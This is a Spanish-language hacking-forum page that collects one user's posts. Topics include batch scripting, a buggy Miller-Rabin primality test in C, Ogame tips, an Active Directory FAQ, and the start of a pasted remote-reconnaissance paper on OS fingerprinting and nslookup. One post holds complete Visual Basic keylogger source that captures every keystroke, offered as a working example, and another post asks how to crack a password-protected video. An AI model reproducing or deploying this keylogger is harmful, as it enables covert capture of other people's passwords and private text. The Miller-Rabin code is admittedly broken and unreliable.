Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - soplo

#1
Scripting / script para grabar cdrom
28 Noviembre 2010, 15:55 PM
Hola
Como sabeis XP tiene la capacidad de grabar un archivo en un cd virgen sin necesidad de nero ni cosas semejantes.

Pues yo quiero automatizar eso. Quiero un script que me permita grabar un archivo a un cd de forma automática. En definitiva lo que yo quieo es que la salida de una aplicacion se guarde en un cdrom al modo de que fuera un disquete. Dado que ese programa deja un fichero yo quiero mediante un batch dejar ese fichero en un cdrom.

Y no encuentro información de quien hace eso y como. Todo lo que veo por ahí es que use nero.

¿alguna idea?
#2
Hola.

Estoy teniendo muchos problemas con la dichosa rutinita esta y aún no funciona. Para saberlo le meto un número que sé que es primo (porque aparece en alguna lista de números primos en internet) y me dice que no es primo así que no está bien.

Os pongo lo que tengo hecho a ver si encontramos la causa:

Puede salir un tocho porque voy a poner muchas anotaciones para que no os perdais con GMP pero bueno ...

Aquí empiezo. Incluyo gmp para poder trabajar con números grandes, defino dos funciones y creo una variable 104729 que es un número primo conocido para pasar el test. El resultado debe ser que ese número es primo.

Miller Rabin tiene un factor de error de 1/4 así que siempre se debe repetir el test varias veces para asegurarse que siempre que ese número pasa el test se devuelve que es primo. Si una sola vez saliera que es compuesto ya sabríamos que el númeor es compuesto.
# include <gmp.h>

# define ES_PRIMO 1
# define NO_ES_PRIMO 0

int miller_rabin_test ( mpz_t n, int k );
int ComprobarDivisibilidad( mpz_t n );

int main(void)
{
   int i;
   char *c="104729";
   mpz_t n;
   mpz_init(n); //inicio la variable n
   mpz_set_str(n,c,10); //meto el número a probar en n
   if ( miller_rabin(n, 10) == ES_PRIMO ) { // 10 es el número de comprobaciones que haré
       printf("%s es primol\n",c);
     } else {
       printf("%s no es primol\n",c);
     }
   
}


Ahora el test de Miller Rabin en sí mismo. Para facilitar la rapidez lo primero que hago es ver si es divisible por los primeros diez mil números primos conocidos. Si es divisible por alguno es que el número es compuesto y no hay que perder mas tiempo.

int miller_rabin ( mpz_t Num, int Comprobaciones )
{
  int r, s, EsPrimo=ES_PRIMO;
  mpz_t NumDec, ValorAleat, ValorAux, d, ValorTemp;
  if (ComprobarDivisibilidad(Num) == 0) { // comprobar si es divisible entre los primeros
    EsPrimo=NO_ES_PRIMO;   // 10.000 números primos
  }


Omito la función ComprobarDivisibilidad para no hacer mas tocho y me centro en Miller Rabin.

Miller Rabin requiere que se encuentre un par de números R y S tal que satisfagan que (N-1)=R * 2^S. Además R debe ser impar.

Num es el número a comprobar.
NumDec es Num-1
  mpz_init(d);
  mpz_init(NumDec);
  mpz_sub_ui(NumDec,Num,1); //NumDec=Num-1
  mpz_set(d,NumDec); // d=Num-1

  s = 0;
  while ( mpz_even_p(d) ) {  //mientras d sea par
    mpz_fdiv_q_2exp(d, d, 1); // d=d/2
    s++;
  }

Hasta aquí todo bien. Si llego hasta aquí es que el número a comprobar no es divisible entre los primeros 10.000 primos y he obtenido un valor R y S que requiere MillerRabin

Inicializo valores aleatorios (la semilla)
gmp_randstate_t semilla;
gmp_randinit_default(semilla);
gmp_randseed_ui (semilla, time(NULL));


Inicializo algunos valores que necesito
mpz_init(ValorAleat);
mpz_init(ValorAux);
mpz_init(ValorTemp);
mpz_sub_ui(ValorTemp,Num,4); //ValorTemp=num-4


Aquí comienza el bucle de comprobación. Como dije MillerRabin tiene un factor de error y para asegurarnos que la respuesta es correcta en vez de hacer el test una vez lo hacemos varias. En mi caso 10 porque llamé a la función MillerRabin con el parámetro Comprobaciones=10.

Lo de EsPrimo es un valor boleano. Si antes resultó que es divisible entre algún número primo que no haga el bucle y se vaya al final.
while ( Comprobaciones-- > 0 && EsPrimo) {
    //Obtener un valor aleatorio en ValAleatorio entre 2 y Num-2
    mpz_urandomm(ValorAleat,semilla,ValorTemp); //Obtener un valor aleatorio entre 0 y num-4
    mpz_add_ui(ValorAleat,ValorAleat,2); // ValorAleat=ValorAleat+2

// Calcular ValorAux=ValorAleat^d mod Num
    mpz_powm(ValorAux,ValorAleat,d,Num);

    if ( mpz_cmp_ui(ValorAux, 1) == 0 ) { //si valoraux=1 es probable primo
         EsPrimo=ES_PRIMO; // es primo pero hay que comprobar mas
    } else {
         EsPrimo=NO_ES_PRIMO; //de momento no es primo.
    }
    if ( !EsPrimo && mpz_cmp(ValorAux, NumDec) == 0 ) { //si valoraux= Num-1 probable primo
         EsPrimo=ES_PRIMO; //de momento es primo pero hay que comprobar mas
    } else {
         EsPrimo=NO_ES_PRIMO; //de momento no es primo.
    }

    if ( !EsPrimo ) { //si antes fue visto como no primo
       for(r=0; r < s-1; r++) {     
          mpz_powm_ui (ValorAux, ValorAux, 2, Num);  //ValorAux=ValorAux^2 mod Num         
          if ( mpz_cmp_ui(ValorAux,1) == 0) {  // si ValorAux=1 es compuesto
             EsPrimo=NO_ES_PRIMO;
             break;
          }
       }
       if ( mpz_cmp(ValorAux,NumDec) != 0 ) { //si ValorAux<>Num-1 no es primo
             EsPrimo=NO_ES_PRIMO;
       }
       
       if ( !EsPrimo ) {
          break;
       }
    }   
  } //fin del while

Ahora al final solo queda devolver el resultado EsPrimo que será verdadero o falso y limpiar memoria

  mpz_clear(ValorAux);
  mpz_clear(ValorTemp);
  mpz_clear(d);
  mpz_clear(NumDec);
  mpz_clear(ValorAleat);

  return (EsPrimo);
}


Pues no me funciona y no veo la razón. Se que estoy muy cerca pero hay algo que se me escapa.
Ese código se puede optimizar mucho. Lo he puesto así porque se ven mas claros los pasos que doy para seguir a MillerRabin.
#3
Pues eso.

¿Como defino en C un tipo bigint o similar que admita números grandes? ¿hay alguna librería? ¿como se hace?
#4
Programación Visual Basic / Visual Basic en LInux
10 Septiembre 2006, 22:37 PM
Hola
Solo recomendar a quienes esteis interesados en visual basic que probeis GANBAS que es el lenguaje de vb para linux con soporte directo para mysql, sql server, oracle, ... y que es realmente bueno, estable y rápido.

El lenguaje es básicamente el mismo aunque no tiene las tiranías de microsoft de ocx o las apis puesto que son cosas que en linux no tienen sentido.

¡Merece la pena!
#5
Aquí van enlaces a manuales, tutoriales o ejemplos que por estar bien explicados, bien documentados o ser claros merecen la pena estar destacados.

Próximamente integraré los enlaces y documentación en el hilo de Necro y agregaré divesa documentación que ha ido quedando enterrada puesto que al no haber moderados a veces ocurrió que hilos valiosos quedaran enterrados.

Conceptos básicos


Las APIS de Windows


Comunicaciones


Conceptos avanzados

#6
Programación Visual Basic / Rutinas Interesantes
10 Septiembre 2006, 21:22 PM
Hola
Voy a ir poniendo aquí rutinas que son interesantes por distintas razones.

Los que sepais de rutinas interesantes que agregar aquí mandarme un MP con el enlace puesto que este hilo estará bloqueado para impedir que se llene de basura.

Son bienvenidas rutinas sobre los siguientes temas:
a) temas de acceso a bases de datos
b) temas de comunicaciones (email, irc, web, ftp, sockets en general, ..., etc).
c) temas de control de la máquina y obtención de recursos (acceso y control de servicios, acceso y control de programas, instaladores, etc)
d) temas de control de dispositivos (informes, acceso a la impresora, .., etc)
e) Temas de acceso a las APIS
f) temas de acceso al registro y archivos INI
g) temas de creación y acceso a Logs

Aquí solo rutinas interesantes.

Como ejemplo este enlace de trucos visual basic
Trucos visual basic
http://www.elhacker.net/trucosvisual.htm

Un saludo
#7
Scripting / Tutorial programación BAT
22 Julio 2006, 00:04 AM
Hola

Para los nuevos (los interesados en este tema ya lo habreis visto probablemente)

Tutorial programación.bat (el manual)
http://www.elhacker.net/ProgramacionBat.htm

Y luego el hilo
Tutorial programación BAT
http://foro.elhacker.net/index.php/topic,18148.0.html

Mira que venir todos los dias y no enterarme que estaba esto jajaja

;D

¡¡¡ Y yo con estos pelosssss !!!!
#8

Que guay!!!
;D
#9
Juegos y Consolas / Comerciar en Ogame
19 Noviembre 2005, 11:46 AM
600.000 cristal en universo 11
400.000 deuterio en universo 11

Necesito metal.

Para hacer el cambio me guió por los siguientes principios:
a) Yo entrego la mercancía primero y cuando veais lo que os he enviado me devolveis la cantidad correspondiente.
b) Para valorar la mercancía pongo la regla de que 3 unidades de metal equivalen a 2 de cristal y a 1 de deuterio.

Así que ya sabeis, quien quiera cristal o deuterio solo tiene que darme metal a cambio.

Un saludo
#10
Ingeniería Inversa / loving ingeniería inversa!!!
13 Noviembre 2005, 14:27 PM
Hola
Esta es una materia que siempre he ignorado. No por nada, es que la informática es muy amplia y siempre he prestado atención a otras cosas

Sin embargo hace unos dias he empezado a interesarme por este tema. No por nada en especial, no aspiro a andar crackeando cada cosa, pero me gusta el reto de conseguir crackear un programa y creo que tengo cosas que aprender por aquí.

Para situarme: me muevo con soltura en windows y linux, conozco ensamblador (aunque lo tengo muy olvidado), C, C++ y algunos otros lenguajes que no creo que vengan al caso.

El caso es que estoy leyendo los hilos y no se bien por donde empezar.No se que herramientas necesito y tampoco que tipo de información debo buscar en google para ir documentándome.

Como veis mi ignorancia en este tema es total xDDDD, pero quizá eso cambie en algún tiempo.

He decidido empezar por un video de motos que me dieron y que mola mazo, pero ahora pide usuario y clave (me la dieron en su dia, pero ya no funciona). Es un reto como otro cualquiera

Agradecería cualquier sugerencia o idea para ir aprendiendo a hacer estas cosas y rodearme de las herramientas apropiadas xDDDDD.

Un saludo
#11
Objetivo general del foro de elhacker.net
Promover la investigación, y fomentar la difusión del conocimiento, al brindar un medio de información, que protege y lucha por su libertad.


Subforo de Programación General

Objetivo:
Siguiendo el objetivo general del foro, el subforo de Programación General, tiene como objetivo orientar a los usuarios en los distintos lenguajes de programacion y en cualquier plataforma. Se fomenta el estudio de los lenguajes de programación y el alcance de los mismos.

Justificación:
Debido a la gran variedad de los lenguajes existentes y la imposibilidad de tener un subforo para cada lenguaje se crea el subforo de Programacion general, de forma que se facilite un lugar para la discusión de los temas que no encajen en otros subforos.

Limitantes:
El subforo, para defender sus objetivos, no aceptara peticiones de programas o códigos. Entiéndase lo siguiente (AQUÍ NO SE HACE LA TAREA DE NADIE)

Reglas del subforo:


  • No se permite la publicación de archivos compilados sin proporcionar el código fuente.
  • Se tratan exclusivamente temas que no encajen en ningun otro subforo
  • Codigo debe de ir en su tag correspondiente [code][/code]
  • Los títulos deben incluir una pregunta precisa y el lenguaje en que se solicita
  • Por Ejemplo "[AWK] ¿Como accedo a los parámetros del programa?"
  • Se pregunta por conceptos abstractos. Aquí no estamos para hacerle el trabajo a nadie

Cualquier mensajes que incumpla con las normas sera borrado sin previo aviso.


Reglas generales del foro:
http://foro.elhacker.net/reglas






#13
¿Alguien puede explicarme que tiene de malo esa tabla para que parezca cualquier cosa menos una tabla?
http://foro.elhacker.net/index.php/topic,91983.0.html

¿?
#14
Programación Visual Basic / keylogger en VB
25 Agosto 2005, 00:06 AM
Hola
Este es un keylooger que hice hace un año o así. Funciona bien aunque es manifiestamente mejorable. Es un buen ejemplo.

Hay dos partes. Una es un pequeño programa de prueba (para ver lo que el keylogger va detectando). Para ello le poneis los controles y el código indicado y luego os vais por ejemplo al notepad y os poneis a escribir. En el programa de prueba deberían ir quedando todas las pulsaciones que vais haciendo.

La rutina fundamental es la función ObtenerTecla y unas pequeñas funciones para saber si es mayúscula o no , etc.

Existe otra técnica posible para hacer un keylogger. La que se llama un hook de teclado (o un gancho de teclado). Tiene algunas ventajas y algún inconveniente.
-----------------------------------------------------------------------------------
Programa que prueba la rutina
En una aplicación visual basic añadir al formulario form1 el cuadro de texto text1 con las siguientes propiedades:
text1.multiline = true
text1.heigh= 1335
text1.width = 12975


Poner un objeto timer con las siguiente propiedad
timer1.interval=100
(probar con distintos resultados para sacar consecuencias)

Poner un command con la siguiente propiedad
command1.caption="Limpiar"

----------------------------------------------------------------------------------
Rutinas del programa de prueba

Private Sub Command1_Click()
Text1 = "" ' vaciar textbox
End Sub


Private Sub Text1_Change()
If Len(Text1) > 500 Then
' Escribir txt.log
End If
End Sub

-----------------------------------------------------------------------------------
comienzo de keylogger
------------------------------------------------------------------------------------
Función ShiftPulsado. Comprueba si se ha pulsado cualquiera de las dos teclas shift del teclado (es posible diferenciar cada una si se quiere)

Private Function ShiftPulsado() ' true si está pulsado shift
ShiftPulsado = IIf(GetKeyState(16) < 0, True, False) 'VK_SHIFT
End Function

------------------------------------------------------------------------------------
Función BloqMayus. Comprueba si se ha activado bloq mayus

Private Function BloqMayus() 'True si está pulsado bloqmayus
BloqMayus = IIf(GetKeyState(20) < 0, True, False) 'VK_CAPSLOCK
End Function

------------------------------------------------------------------------------------
Función NumLock. Comprueba si está pulsada la tecla Numlock

Private Function NumLock() 'True si está pulsado NUMLOCK
NumLock = IIf(GetKeyState(144) < 0, True, False) 'VK_NUMLOCK
End Function

-----------------------------------------------------------------------------------
Función AltGr comprueba si está pulsada la tecla ALT GR.

Private Function AltGr() 'true si está pulsado ALT GR
AltGr = IIf(GetKeyState(165) < 0, True, False) 'VK_RMENU
End Function

-----------------------------------------------------------------------------------
Función del timer que comprueba cada cierto intervalo de tiempo si se ha pulsado una tecla. Para ello revisa cada una de las posibilidades y si encuentra una tecla pulsada la guarda en la variable Tecla y la añade al text1.

Private Sub Timer1_Timer() 'probar con distintos intervalos de timer
Dim Tecla As String
For x% = 0 To 255 'para los 255 códigos ascii
If GetAsyncKeyState(x%) Then 'si se ha pulsado una tecla
Tecla = ObtenerTecla(x%) 'obtener tecla pulsada
Text1 = Text1 & Tecla 'añadir tecla a teclas pulsadas
Text1.Refresh
End If
Next
End Sub

------------------------------------------------------------------------------------
Función ObtenerTecla. Se le pasa como parámetro el código virtual de la tecla pulsada y devuelve el resultado. Es la rutina propiamente de un keylogger.

Fijaos que en vez de el nombre de la tecla he pueso su código virtual. La razón es que teóricamente es igual, pero con los nombres no me funcionaba y cuando puse su código funcionó.

Function ObtenerTecla(x As Integer)
Dim Tecla As String
Select Case x
Case 1 'VK_LBUTTON 'botón izquierdo del ratón
Case 2 'VK_RBUTTON 'botón derecho del ratón
Case 4 'VK_MBUTTON 'botón medio del ratón
Case 3 'VK_CANCEL 'break interrumpir
Case 8 'VK_BACK
Tecla = "[DEL]"
Case 9 'VK_TAB
Tecla = "[TAB]"
Case 13 'VK_RETURN
Tecla = "[ENTER]"
'opcionalmente se puede poner que se inserte línea en vez de insertar el literal [ENTER]
'sería así: Tecla = Chr(13) & Chr(10)
Case 92 'VK_CLEAR '5 en keypadd sin numlook
Case 19 'VK_PAUSE 'Pausa
Tecla = "[PAUSA]"
Case 32 'VK_SPACE
Tecla = " "
Case 27 'VK_ESC 'escape
Tecla = "[ESC]"
Case 33 'VK_PRIOR
Tecla = "[RE PAG]"
Case 34 'VK_NEXT
Tecla = "[AV PAG]"
Case 35 'VK_END
Tecla = "[FIN]"
Case 36 'VK_HOME
Tecla = "[INICIO]"
Case 37 'VK_LEFT
Tecla = "[IZQ]"
Case 38 'VK_RIGHT
Tecla = "[DER]"
Case 39 'VK_UP
Tecla = "[ARRIBA]"
Case 40 'VK_DOWN
Tecla = "[ABAJO]"
Case 44 'imprpant
Tecla = "[IMPR PANT]"
Case 45, VK_INSERT
Tecla = "[INS]"
Case 46, VK_DELETE
Tecla = "[SUPR]"
Case 48 To 57 'VK_0 - VK_9
If Not ShiftPulsado Then 'si no se ha cambiado tecla de shift
Tecla = Str$(x - 48) 'poner en tecla el nº correspondiente
Else
Tecla = Mid$("!""""·$%&/()=", x - 47, 1) 'extraer el caracter correspondiente
End If
If AltGr Then
If x = 49 Then 'alt gr + 1
Tecla = "|"
ElseIf x = 50 Then 'alt gr + 2
Tecla = "@"
ElseIf x = 51 Then 'alt gr + 3
Tecla = "#"
ElseIf x = 54 Then 'alt gr +6
Tecla = "¬"
End If
End If
Case 65 To 90 'letras VK_A - VK_Z
If BloqMayus Then
Tecla = IIf(ShiftPulsado, LCase$(Chr(x)), UCase(Chr(x)))
Else
Tecla = IIf(ShiftPulsado, UCase$(Chr(x)), LCase$(Chr(x)))
End If
Case 96 To 105 'numpad VK_NUMPAD0 - VK_NUMPAD9'
If Not NumLock Then
Tecla = LTrim$(Str$(x - 96)) 'obtener número correspondiente a teclado numpad
Else
Tecla = ObtenerTecla(x - 48) 'obtener valor correspondiente a numpad sin numlock
End If
Case 106 'VK_MULTIPLY
Tecla = "*"
Case 107 'VK_NUMPADADD
Tecla = "+"
Case 110 'VK_NUMPADDECIMAL
Tecla = "."
Case 111 'VK_NUMPADDIVIDE
Tecla = "/"
Case 109 'VK_SUBSTRACKT
Tecla = "-"
Case 112 To 123 'VK_F1 - VK_F12
Tecla = "[F" & x - 111 & "]"
Case 145 'VK_SCROLL 'Bloq Despl
Tecla = "[BLOQ DESPL]"
Case 186 '^`
Tecla = IIf(ShiftPulsado, "^", "`")
Tecla = IIf(AltGr, "[", Tecla)
Case 187 '+ *
Tecla = IIf(ShiftPulsado, "*", "+")
Tecla = IIf(AltGr, "]", Tecla)
Case 188 '; ,
Tecla = IIf(ShiftPulsado, ";", ",")
Case 189 '- _ )
Tecla = IIf(ShiftPulsado, "_", "-")
Case 190 ': .
Tecla = IIf(ShiftPulsado, ":", ".")
Case 191 'ç Ç
Tecla = IIf(ShiftPulsado, "Ç", "ç")
Tecla = IIf(AltGr, "}", Tecla)
Case 192 '~ '
Tecla = IIf(ShiftPulsado, "~", "'")
Case 219 '? '
Tecla = IIf(ShiftPulsado, "?", "'")
Case 220 '| \
Tecla = IIf(ShiftPulsado, "ª", "º")
Tecla = IIf(AltGr, "\", Tecla)
Case 221 '¿ ¡
Tecla = IIf(ShiftPulsado, "¿", "¡")
Case 222 ' ¨ ´
Tecla = IIf(ShiftPulsado, "¨", "´")
Tecla = IIf(AltGr, "{", Tecla)
Case 226 ' < >
Tecla = IIf(ShiftPulsado, ">", "<")
End Select
ObtenerTecla = Tecla
End Function
#15
Hola
Yo suelo jugar al ajedrez. Suele haber varios salones y cientos de personas. Me divierte echar partiditas y gano a menudo.

No solo estaba el juego del ajedrez. Había muchos mas y miles de personas jugaban en ellos.

Llevo dos días en que al entrar en la página solo salen 7 juegos y nada mas ¿Donde están todos? yo me iba a 'free online' y allí estaban.

¡joer! ¡con la de puntos que llevaba!!

¿Un sitio de juegos on line sin juegos on line?
#16
Hola

Estoy jugando en dos universos y me he hecho un lío. No se que defensas he construído en cada sitio.

¿Donde dice eso? No lo veo por ningún lado

Un saludo
#17
Juegos y Consolas / Consejos Ogame
23 Julio 2005, 17:52 PM
Hola
Estoy comenzando a jugar. Todavía no tengo naves espaciales ni nada, pero pongo esto para los que estais empezando (solo tengo 200 puntos).

Primero en el foro de ogame (en FAQ) hay un post con una secuencia para aprender a jugar. No está mal, yo la he seguido en el universo 4.

También he empezado otra partida en el universo 11. Allí he hecho lo que me ha parecido mejor con la experiencia acumulada (que es bien poca xD) y me he dedicado a construir minas de cristal, minas de metal, deuterio y plantas de energía solar. He crecido muy rápido. A pesar de que la segunda partida la empecé dos semanas después me falta poco para alcanzar a la primera. Así que aquí va mi consejo:

Inicialmenet no os metais en tecnologías ni hangar ni nada. Lo importante es producir. Para ello solo construis metal, cristal, deuterio y estaciones de energía solar para mantener todo funcionando.

Procurad que siempre haya energía para todo (en recursos)

Cuando alcanceis en minas y cristal y deuterio un nivel 12 (aproximadamente) podeis crear el laboratorio de investigación (sin dejar de ir aumentando minas, cristal, deuterio y energía para todo ello.

El laboratorio os podrá acceder a crear tecnología. A partir de este momento y sin dejar de producir también debeis fijaros objetivos (aquí es donde estoy yo ahora).

Yo me fijé como objetivo tener la capacidad de crear defensas si las necesito así que decidí aprender a crear laser pequeño, laser grande, cúpula pequeña y cúpula grande.

Para el laser pequeño hace falta conocer

  • Tecnología de energía(nivel 1)
  • Hangár(nivel 2)
  • Tecnología laser(nivel 3)
Así que me dediqué a desarrollar esa tecnología (repito sin dejar de producir)
Luego el laser grande

  • Tecnología de energía(nivel 3)
  • Hangár(nivel 4)
  • Tecnología laser(nivel 6)
Ya soy capaz de crear ambos. Ahora quiero aprender a crear cúpulas pequeñas. Para ello necesito

  • Tecnología de defensa(nivel 2)
  • Hangár(nivel 1)
Y luego cúpulas grandes

  • Tecnología de defensa(nivel 6)
  • Hangár(nivel 6)
Con eso seré capaz de defenderme (bueno, depende de quién ataque claro) razonablemente porque he leído que debo poner la siguiente proporción para ir bien protegido:

  • un laser grande por cada cuatro pequeños
  • una cúpula pequeña por cada 20 laser pequeños
  • un cañon de gaus por cada 30 laser pequeños
  • Un cañon de plasma por cada 100 laser pequeños
  • Una cúpula grande por cada 100 laser pequeños

Y es lo que pienso hacer. Ir creando esta tecnología y no dejar de producir recursos.

Mi duda es ¿hay alguna forma de acelerar la producción? porque he creado varias fábricas de robots y no parece que haya acelerado gran cosa, ahora producir una nueva fábrica o fuente de energía me lleva una hora

Ya os contaré cuando decida crear escuadrones y colonizar. A eso aún no he llegado

Un saludo
;D
#18
¿qué es active directory?

Es un sistema parejo al arbol de netware que sirve para  compartir recursos en un conjunto de dominios. Para ello utiliza un sistema común de resolución de nombres (dns) y un catálogo común que contiene una réplica completa de todos los objetos de directorio del dominio en que se aloja además de una replica parcial de todos los objetos de directorio de cada dominio del bosque

El objetivo de un catálogo global es proporcionar  autentificación a los inicios de sesión.

Además contiene información sobre todos los objetos de todos los dominios del bosque, la búsqueda de información en el directorio no requiere consultas innecesarias a los dominios.

Una única consulta al catálogo produce la información sobre donde se puede encontrar el objeto.

En definitiva Active Directory es el servicio de directorio incluído con Windows 2000/2003

¿Qué es un servicio de directorio?

Un servicio de directorio es uno de los componentes  más importantes de una red. Los usuarios y administradores con frecuencia no saben el nombre exacto  de los objetos en que están interesados. Quizá conozcan uno o más atributos de los objetos y puedan consultar el directorio para obtener una lista de objetos que concuerden cono los atributos: por ejemplo, "Encontar todas las impresoras duplex en Edificio B". Un servicio de directorio permite que un usuario encuentre cualquier objeto con sólo  uno de sus atributos.

¿Qué es un objeto?

Es cualquier cosa que tenga entidad en el directorio. Puede ser un programa, un usuario, un ordenador, un router, una impresora, un proxy, ...

¿Qué es un dominio?

Es un conjunto de normas que especifican que administran los recursos y los clientes en una red local.

En un dominio hay lo que se llama un servidor principal llamado pdc (primary domain controller) que es quien asigna derechos controla usuarios y recursos.

Dado que este servidor puede recibir muchas peticiones de red por parte de los clientes, es posible instalar un servidor de réplica llamado bdc  (backup domain controller) que contiene siempre una réplica de la base de datos del pdc y actúa como pdc en cuanto a peticiones de clientes.

Además en caso de fallo del pdc, él se sitúa en el dominio como pdc.

En caso de haber varios bdc, uno de ellos se coloca como pdc y los demás se dedican a respaldar a ese.

¿Que es un arbol?

Es un conjunto de dominios con relaciones de confianza entre sí que comparten recursos, clientes y un sistema de resolución de nombres.

¿Qué es un bosque?

Es un conjunto de árboles de dominio con relaciones de confianza entre sí

¿Por qué es tan importante active directory?

Por que es la respuesta a la crítica que siempre se le hizo a microsoft en windows NT de que sus sistemas de red no son escalables. Con active directory se agilizan las búsquedas de recursos, se asegura la autentificación de usuarios y máquinas, se comparten mejor los recursos de la red, se abandona netbios como protocolo para compartir recursos (se resuelven mediante dns y el catálogo global).

¿Qué hace active directory que no pueda hacer con un dominio?

Active directory no controla ordenadores,  controla dominios y administra los recursos y clientes de esos dominios.
Utiliza DNS como sistema de resolución de nombres (debe haber obligatoriamente uno).

Active directory es accesible desde cualquier servidor de dominio.

¿Es válido un servidor DNS que no sea de windows?
En principio debe ser válido cualquiera que cumpla las siguientes condiciones:
1. soportar el registro de recursos Localización de servicios  (rfc 2052)
2. Actualización dinámica (rfc 2136)
En la práctica yo lo he intentado con varios y no lo he conseguido salvo con el de microsoft.

¿Como se instala?
Al instalar cualquier versión de servidor win2k o windows 2003 se ejecutará el asistente de active directory.

Este asistente lo que hace en realidad es crear un servidor de dominio bien pdc (si no hubiera otro servidor) o bien bdc (si lo hubiera).

Después busca un servidor DNS y si lo encuentra lo anexa al arbol de active directory. Si no lo encuentra instala uno

Este servidor DNS es imprescindible porque en adelante los clientes localizarán un controlador de dominio para la autenticación mediante el envío de una  petición al servidor DNS identificado en sus configuraciones TCP/IP cliente

Además active directory utilizará dns para almacenar información sobre los  controladores de dominio de la red.

Si durante el proceso de instalación no fuera posible encontrar un servidor dns, windows instalará uno en la máquina por lo que esta actuará no solo como servidor de dominio sino también como servidor dns.

En adelante cada vez que queramos cambiar algo respecto a active directory deberemos acceder a la consola desde el panel de control - herramientas administrativas -
configuración del servidor (también se puede ejecutar dcpromo.exe).

¿Hay algo parecido en linux?

No, y no lo habrá por bastante tiempo. SAMBA con LDAP es algo que aún da muchos problemas y probablemente no funcionará hasta que el equipo de desarrollo de Samba solucione esos problemas.

No digo que no se pueda, pero no con el nivel de estabilidad y confiabilidad que en Windows. Al menos yo no he conseguido que funcione y el equipo de desarrollo de Samba desaconseja esta dirección hoy por hoy.

¿Para que me sirve?

Es util en redes grandes que se puedan dividir en dominios mas pequeños, centros de trabajo con varios dominios y redes intranet donde hay sucursales que comparten recursos.

Sobre un dominio miempresa.com podré tener subdominios 'comerciales.miempresa.com' por ejemplo para el acceso al dominio 'comerciales'.

Las consultas a recursos de la red son mucho mas rápidas porque se resuelven mediante el catálogo global en vez de búsquedas netbios.

La autentificación también se resuelve mediante el catálogo lo que resuelve problemas de seguridad variados. Un directorio activo es lo mas seguro que tiene windows hoy por hoy.

Las consultas al servidor o a otros sitios se resuelven por dns y no por netbios.

La administración del directorio activo puede realizarse desde cualquier servidor de dominio de toda la red.

Puede incluir cada objeto individual (impresora, archivo o usuario), cada servidor y cada dominio en una sola red de área amplia. También puede incluir varias redes de área amplia combinadas.


Por cierto ¿Alguien ha conseguido utilizar samba como bdc en un directorio activo?
#19
Dado que he puesto un ejercicio 17 que en realidad es un proyecto voy a hacerlo yo aquí paso a paso para que podais seguirme.

Este post está bloqueado para que no se me pierda el hilo, pero si teneis problemas posteadlas y en paz.

Voy a utilizar el modelo de objetos DAO por ser mas comprensible.
#20
Hola

Este texto es de manual para aquellos interesados en temas de seguridad y hacking.

Lo pasteo aquí por temor a que cambie algún enlace y se pierda este texto

Extraído de http://www.sindominio.net/hmleioa01/material/analisis.txt
----------------------------------------------------------------------
Comienzo de pasteo
----------------------------------------------------------------------

/* honoriak  <EGC@argen.net>   <honoriak@mail.ru>   2000.12.26  Ante
  cualquier duda,  critica, pregunta, etc.  no dudes  en escribirme a
  una de las direcciones de e-mail que acabas de ver. Las fuentes que
  me ayudaron en  la elaboracion de este reducido  'paper' figuran al
  final de este  documento. Este paper ha sido  elaborado con emacs y
  joe. */

-----------------[ Analisis remoto de sistemas
      
--------------------------[ honoriak <honoriak@mail.ru> de HeliSec

      [ sección de I+D de networking-center.org ]
           
            [ Version Final ]

  Indice
  ======

  1. Introduccion:

   -  Localizacion.

   -  NS de la maquina.

   -  Informacion del registro del dominio.

  2. Analisis:

   - Sistema operativo:

      Analisis sin conocimiento de la pila TCP/IP.        
      
      Analisis basado en la pila TCP/IP.

      Fingerprinting pasivo

   - Servicios:    

      Software  de escaneo  de  puertos y  vulnerabilidades:
      panorama actual.

      Tecnicas usadas en el escaneo de puertos.

   - Relacion de principales servicios con puertos. Daemons.

   - CGIs

  3. Bibliografia y agradecimientos


           |---------------------------------------|


  1. Introduccion
     ============

   Localizacion:
   ~~~~~~~~~~~~~

   En este  manual se tratara  unicamente el caso de  un servidor
con una ip  fija y un dominio/s asociado, ya que  creo que el analisis
de sistemas  se aplica a este  tipo de configuraciones y  no me parece
logico  el  ocuparse de  ordenadores  de  usuarios  domesticos ya  que
normalmente no son los que necesitan este tipo de comprobaciones.

   Lo unico a resaltar es que las IPs de las maquinas que vamos a
analizar no pueden estar en ningun caso entre:
   
    ============================================
    |   Clase    Networks                   |
    |  A       de 10.0.0.0 a 10.255.255.255    |
    |   B       de 172.16.0.0 a 172.31.0.0      |
    |  C       de 192.168.0.0 a 192.168.255.0  |
    ============================================

   Ya  que estas  son de  uso  privado (para  LANs, intranets)  y
estamos tratando el caso de maquinas conectadas a internet. La version
del Internet  Protocol utilizada mayormente  en la actualidad es  la 4
pero es  cierto que  los esfuerzos porque  este sea reemplazado  en un
futuro no muy lejano por IPv6 es notable y en este cambiara el esquema
de direcciones y las direcciones seran mas largas.

   Dos  herramientas  de uso  muy  comun  entre  los usuarios  de
cualquier sistema  operativo serio son  ping y traceroute.   Me parece
que es  obvio su uso y sino,  siempre puedes acudir al  man para saber
todas sus  opciones de sintaxis. La  ultima de ellas,  muchas veces es
infravalorada  en un analisis  y realmente  puede dar  una idea  de la
situacion fisica del servidor  y maquinas cercanas a este. Actualmente
hay  bastantes  frontends  y  utilidades basadas  en  traceroute  para
x-windows e  incluso alguna de ellas  representa en un  mapa el camino
que  sigue  un  paquete  desde  nuestro sistema  hasta  la  maquina  a
analizar.

   Mas  adelante, comentaré  el  uso de  traceroute para  conocer
mejor el tipo de firewall que protege a una máquina.
   

   NS de la maquina
   ~~~~~~~~~~~~~~~~

   Otra  herramienta muy  util  en el  analisis  es el  nslookup,
gracias a ella  podremos saber el servidor de  nombres (NS) que ofrece
el dominio a nuestro servidor, es decir, el NS que hace que w.x.y.z sea
dddd.com. Para  obtener esta informacion,  haremos uso de  nuestro DNS
(es decir, el servidor de nombres que nos ofrece nuestro ISP). Asi por
ejemplo, suponiendo  que mi NS es ns1.worldonline.es  y queremos saber
cual es el NS de insflug.org, se actuaria de la siguiente forma:

$ nslookup insflug.org
Server:  ns1.worldonline.es
Address:  212.7.33.3

Name:    insflug.org
Address:  209.197.122.174

$ nslookup
Default Server:  ns1.worldonline.es
Address:  212.7.33.3

> set q=ns
> insflug.org
Server:  ns1.worldonline.es
Address:  212.7.33.3

Non-authoritative answer:
insflug.org   nameserver = NS0.NS0.COM
insflug.org   nameserver = NS84.PAIR.COM

Authoritative answers can be found from:
